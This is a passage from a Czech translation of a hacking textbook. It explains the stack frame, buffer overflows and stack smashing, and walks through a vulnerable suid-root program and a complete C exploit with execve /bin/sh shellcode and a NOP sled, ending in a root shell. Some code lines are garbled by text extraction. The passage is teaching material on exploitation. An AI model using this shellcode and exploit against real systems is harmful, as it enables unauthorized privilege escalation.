ESP. Ke konci rámec zásobníku vypadá nějak takto:

vrchol zásobníku

nižší adresy

vyšší adresy

buffer

flag

stack frame pointer (SFP)

návratová adresa (ret)

a

b

c

d

ukazatel na rámec

Hacking: umění exploitace 31

Toto tedy je rámec zásobníku. Na lokální proměnné se odkazuje odečítáním

z ukazatele na rámec (registr EBP) a na argumenty funkce přičítáním.

Když se zavolá funkce, EIP se změní na adresu začátku funkce v segmentu

text (nebo code). Paměť na zásobníku se použije pro lokální proměnné

funkce a její argumenty. Když se funkce ukončí, celý rámec zásobníku se ze

zásobníku odstraní a EIP se nastaví na uloženou návratovou adresu, takže

program může dále pokračovat ve vykonávání. Jestliže by se z dané funkce

zavolala jiná funkce, vytvořil by se pro ni v zásobníku další rámec a tak

dále. Při každém ukončení funkce se rámec zásobníku odstraní a tak se

může vykonávání kódu vrátit na předešlou funkci. Kvůli tomuto chování je

tento segment paměti organizován jako FILO.

Rozličné segmenty paměti jsou za sebou poskládány v pořadí, v jakém

byly uvedeny, od nižších adres do vyšších. Protože většinou jsme zvyklí

prohlížet si seznamy ze shora dolů, jsou nižší adresy uvedeny nahoře.

textový (kódový) segment

datový segment

bss segment

heap segment

halda (heap) roste

směrem dolů

k vyšším

paměťovým adresám

zásobník roste směrem

nahoru k nižším

paměťovým adresám

nižší adresy

vyšší adresy

Protože jsou segmenty heap a stack dynamické, rostou oba proti sobě. To

minimalizuje plýtvání místem a možnost, že by se tyto segmenty střetly.

0x260 Přetečení paměti

C je vysokoúrovňový jazyk, který ale stále ponechává odpovědnost za datovou

integritu na programátorovi. Kdyby se o ni staral kompilátor, výsledné

binární kódy by byly znatelně větší a pomalejší, protože by se musela

kontrolovat konzistentnost každé proměnné. To by také pro programátora

znamenalo ztrátu kontroly nad kódem a značnou komplikaci jazyka.

32 0x200 Programování

Zatímco jednoduchost Céčka zvyšuje kontrolu a efektivnost výsledného

kódu, také zvyšuje náchylnost na přetečení paměti a také na plýtvání

pamětí, pokud není programátor pečlivý. To znamená, že jakmile je proměnná

alokovaná v paměti, neexistují žádné zabudované bezpečnostní

mechanismy, které by zajistily, že se celý obsah opravdu do proměnné vejde.

Jestliže chce programátor vložit deset bajtů dat do bufferu, který má

alokovaných pouze devět bajtů, je tento typ akce povolen, ačkoliv to může

vyvolat pád programu. Této chybě se říká buffer overrun nebo overflow (neboli

přetečení paměti), protože dva bajty na víc přetečou přes konec paměti

a přepíšou její konec, ať už je na něm cokoliv. Pokud jsou přepsána kriticky

důležitá data, program spadne, viz následující příklad.

Výpis: over f low.c

void overflow_function (char *strvoid str)

{

char buffer[20];

strcpy(buffer, str); // Funkce zkopíruje str do buffer

}

int main()

{

char big_string[128];

int i;

for(i=0; i < 128; i++) // 128 opakování

{

big_string[i] = 'A'; // vyplň big_string znaky 'A'

}

overflow_function(big_string);

exit(0);

}

V předešlém kódu je funkce nazvaná overflow_function(), která jako

vstup bere ukazatel na řetězec str a poté celý řetězec zkopíruje do proměnné

buffer, která má alokovaných 20 bajtů. Hlavní funkce programu

alokuje 128bajtový buffer big_string a použije cyklus for na vyplnění

bufferu samými A. Potom zavolá overflow_function() s ukazatelem na

onen 128bajtový buffer jako argument funkce.

To způsobí problém, protože se funkce pokusí umístit do bufferu 128

bajtů, i když jich má alokovaných jen 20. Zbývajících 108 bajtů dat přepíše

data za koncem proměnné.

Hacking: umění exploitace 33

Tady jsou výsledky:

$ gcc -o overflow overflow.c

$ ./overflow

Segmentation fault

$

Z důvodu přetečení paměti program zhavaroval. Pro programátora jsou

tyto typy chyb časté a lze je jednoduše odstranit, pokud programátor ví,

jak velký bude očekávaný vstup. Programátoři často spoléhají na to, že

uživatelský vstup bude mít určitou velikost a berou to jako pravidlo. Ale

ještě jednou, hacking v sobě zahrnuje přemýšlení o věcech, které nebyly

původně zamýšleny ­ program, který léta fungoval bez problému může

spadnout, pokud se hacker pokusí poslat tisíce znaků na vstup, kam jich

obyčejně uživatelé zadávají jen pár desítek, jako třeba políčko pro zadání

uživatelského jména.

Takže chytří hackeři mohou způsobit pád programu zasláním nepředvídaných

dat na jeho vstup, ale jak se dá chyba zneužít pro získání kontroly

nad vykonáváním programu? Odpověď můžeme získat prozkoumáním dat,

která byla přepsána.

0x270 Přetečení zásobníku

Vraťme se ještě k poslednímu příkladu. Když se zavolá funkce overflow_

function(), vytvoří se na stacku rámec zásobníku. Když je funkce poprvé

zavolána, rámec zásobníku vypadá zhruba takto:

buffer

stack frame pointer (sfp)

návratová adresa (ret)

*str (argument funkce)

zbytek zásobníku

Když se funkce pokusí zapsat 128 bajtů dat do 20bajtového bufferu, zbývajících

108 bajtů přepíše ukazatel na rámec, návratovou adresu a argument

str. Když funkce skončí, program se pokusí skočit na návratovou

adresu, která je nyní vyplněna samými A, což je hexadecimálně 0x41. Program

se pokusí vrátit na adresu 0x41414141 (tedy nastavit EIP na tuto hod34

0x200 Programování

notu), což je neplatná adresa v paměťovém prostoru nebo tato část paměti

obsahuje neplatné instrukce, v každém případě způsobí pád a ukončení

programu. Tomuto se říká přetečení zásobníku ( stack-based overflow), protože

přetečení nastane v paměťovém segmentu stack.

Přetečení mohou nastat i v jiných segmentech paměti, jako je třeba halda

nebo segment bss, ale to, co je na přetečení zásobníku nejzajímavější,

je fakt, že se přepisuje návratová adresa. Na program padajícímu kvůli této

chybě není nic tak zajímavého, ale na důvodu proč ve skutečnosti padá už

ano. Kdyby byla návratová hodnota řízeně přepsána jinou hodnotou než je

0x41414141, jako třeba adresou platného spustitelného kódu v paměti, tak

by se tam program "vrátil" a tento kód by spustil místo toho, aby se zhroutil.

A pokud jsou data, která přetečou přes návratovou adresu, založena na

uživatelském vstupu, jako je třeba hodnota zadaná do políčka pro uživatelské

jméno, návratová adresa a tím i následující tok vykonávání programu

může být řízen uživatelem.

Protože je možné změnit návratovou adresu a tok vykonávání zneužitím

přetečení bufferu, vše, co nyní potřebujeme, je něco užitečného spustit.

Zde vstupuje na scénu infekce kódu ( bytecode infection). Tím je chytře navržený

kus assemblerovského kódu, který může být vložen do bufferu. Takový

kód má několik omezení: kód musí být samostatný a nesmí obsahovat

speciální znaky v instrukcích, protože by měl vypadat jako data v bufferu.

Jedním z nejpoužívanějších typu kódu je tzv. shellkód ( shellcode), který

spouští shell (příkazový interpret). Jestliže se útočníkovi povede obelstít

nějaký suid root program tak, aby spustil shellkód, získá tak plná rootovská

práva nad celým systémem. Zde je příklad:

Výpis: vuln.c

int main(int argc, char *argv[]int argv[])

{

char buffer[500];

strcpy(buffer, argv[1]);

return 0;

}

Toto je část zranitelného programu, podobná funkci overflow_function(),

neboť se také snaží zkopírovat blok dat, na který ukazuje argument, do 500

bajtů velkého bufferu, bez ohledu na to, co může argument obsahovat. Po

kompilaci a spuštění tohoto programu získáme celkem nezajímavé výsledky:

$ gcc -o vuln vuln.c

$ ./vuln test

Hacking: umění exploitace 35

Jak vidíte, program neudělá nic viditelného, kromě přepisu paměti. Teď

program uděláme opravdu zranitelný tím, že předáme vlastnictví rootovi

a nastavíme suid bit:

$ sudo chown root vul$ vuln

$ sudo chmod +s vuln

$ ls -l vuln

-rwsr-sr-x 1 root users 4933 Sep 5 15:22 vuln

Nyní když je z vuln suid root program zranitelný na přetečení paměti, vše

co potřebujeme, je jen vygenerovat kus kódu, který bychom programu podvrhli.

Tento buffer by měl obsahovat požadovaný shellkód a měl by přepsat

návratovou adresu na stack tak, že se při skončení funkce spustí uvedený

shellkód. To znamená, že adresa shellkódu musí být předem známá, což

může být v dynamickém zásobníku poněkud složité. Aby to nebylo tak jednoduché,

4 bajty návratové adresy uložené v rámci zásobníku musí být

přepsány touto adresou. I když je známá adresa, ale není přepsaná správná

oblast, program spadne a ukončí se. Pro rozlousknutí toho oříšku se používají

dvě známé techniky.

První se říká NOP sled ( NOP je zkratka pro no operation). To je jednobajtová

instrukce, která nedělá vůbec nic. Občas se používá pro vyplýtvání

výpočetních cyklů pro časovací účely a jsou nezbytné v procesorech

Sparc kvůli pipeliningu instrukcí. V našem případě nám tato instrukce poslouží

jinak. Vytvoříme velké pole NOPů a umístíme jej před shellkódem,

Jestliže se EIP vrátí na nějakou adresu vně NOP sledu, EIP se bude neustále

inkrementovat o jedníčku, až nakonec vykoná shellkód.

Druhou technikou je zaplnění konce bufferu mnoha po sobě jdoucích

návratových adres.

Takto bude vypadat náš vytvořený buffer:

NOP sled Shellkód Opakovaná návratová adresa

U obou těchto technik je zapotřebí znát alespoň přibližné umístění bufferu

v paměti, abychom mohli uhodnout návratovou adresu. Jedna možnost,

jak aproximovat umístění v paměti, je použít aktuální ukazatel na zásobník

(registr ESP) jako vodítko. Odečtením tzv. offsetu ( posunutí v paměti) od

ESP získáme relativní adresu libovolné proměnné. Protože je ve zranitelném

programu prvním prvkem na zásobníku buffer, který se přepíše shellkódem,

správná návratová adresa by měla být pointer na zásobník, takže

offset by měl být blízko 0. NOP sled je užitečný při exploitování komplikovanějších

programů, když offset není 0. Následuje kód exploitu, navržený

tak, aby vytvořil buffer, vložil jej do zranitelného programu a donutil jej

spustit vložený shellkód. Kód nejprve vezme aktuální ukazatel na zásob36

0x200 Programování

ník a odečte od něj offset. V tomto případě je offset 0. Paměť pro buffer je

alokovaná (na haldě) a celý buffer je vyplněný NOPy (ve strojovém jazyce

má tato instrukce hodnotu 0x90). Shellkód je umístěný za NOPy a poslední

část bufferu je vyplněna návratovou hodnotou. Protože se konec znakového

bufferu označuje nulovým bajtem, je tento buffer také ukončený

znakem 0.

Výpis: exploi t .c

#include <stdlib.h>

char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"

"\x68";

unsigned long sp(void) // krátka funkce k získáni

{ __asm__("movl %esp, %eax");} // ukazatele na zásobník

int main(int argc, char *argv[])

{

int i, offset;

long esp, ret, *addr_ptr;

char *buffer, *ptr;

offset = 0; // offset je 0

esp = sp(); // vložíme ukazatel na zásobník do esp

ret = esp - offset; // přepíšeme návratovou adresu

printf(" Ukazatel na zásobník (ESP) : 0x%x\n", esp);

printf(" Offset z ESP : 0x%x\n", offset);

printf("Požadovaná návratová adresa : 0x%x\n", ret);

// Alokuj 600 bajtů pro buffer (na haldě)

buffer = malloc(600);

// Vyplň celý buffer požadovanou návratovou adresou

ptr = buffer;

addr_ptr = (long *) ptr;

for(i=0; i < 600; i+=4)

{ *(addr_ptr++) = ret; }

Hacking: umění exploitace 37

// Vyplň prvních 200 bajtů bufferu instrukcemi NO// NOP

for(i=0; i < 200; i++)

{ buffer[i] = '\x90'; }

// Vlož shellkód za NOP sled

ptr = buffer + 200;

for(i=0; i < strlen(shellcode); i++)

{ *(ptr++) = shellcode[i]; }

// Ukonči řetězec

buffer[600-1] = 0;

// Nyní zavolej program ./vuln s novým bufferem jako jeho argumentem

execl("./vuln", "vuln", buffer, 0);

// Uvolni paměť

free(buffer);

return 0;

}

Tady jsou výsledky kompilace a spuštění exploitu:

$ gcc -o exploit exploit.c

$ ./exploit

Ukazatel na zásobník (ESP) : 0xbffff978

Offset z ESP : 0x0

Požadovaná návratová adresa : 0xbffff978

sh-2.05a# whoami

root

sh-2.05a#

Podle všeho to funguje. Návratová adresa v rámci zásobníku byla přepsaná

hodnotou 0xbffff978, což se zdá být adresou NOP sledu a shellkódu.

Protože se jednalo o suid root program a shellkód byl navržen tak, aby (jak

už z názvu napovídá) útočníkovi spustil shell, zranitelný program spustil

shellkód jako root, ačkoliv měl původní program pouze zkopírovat data

a ukončit se.

TOPlist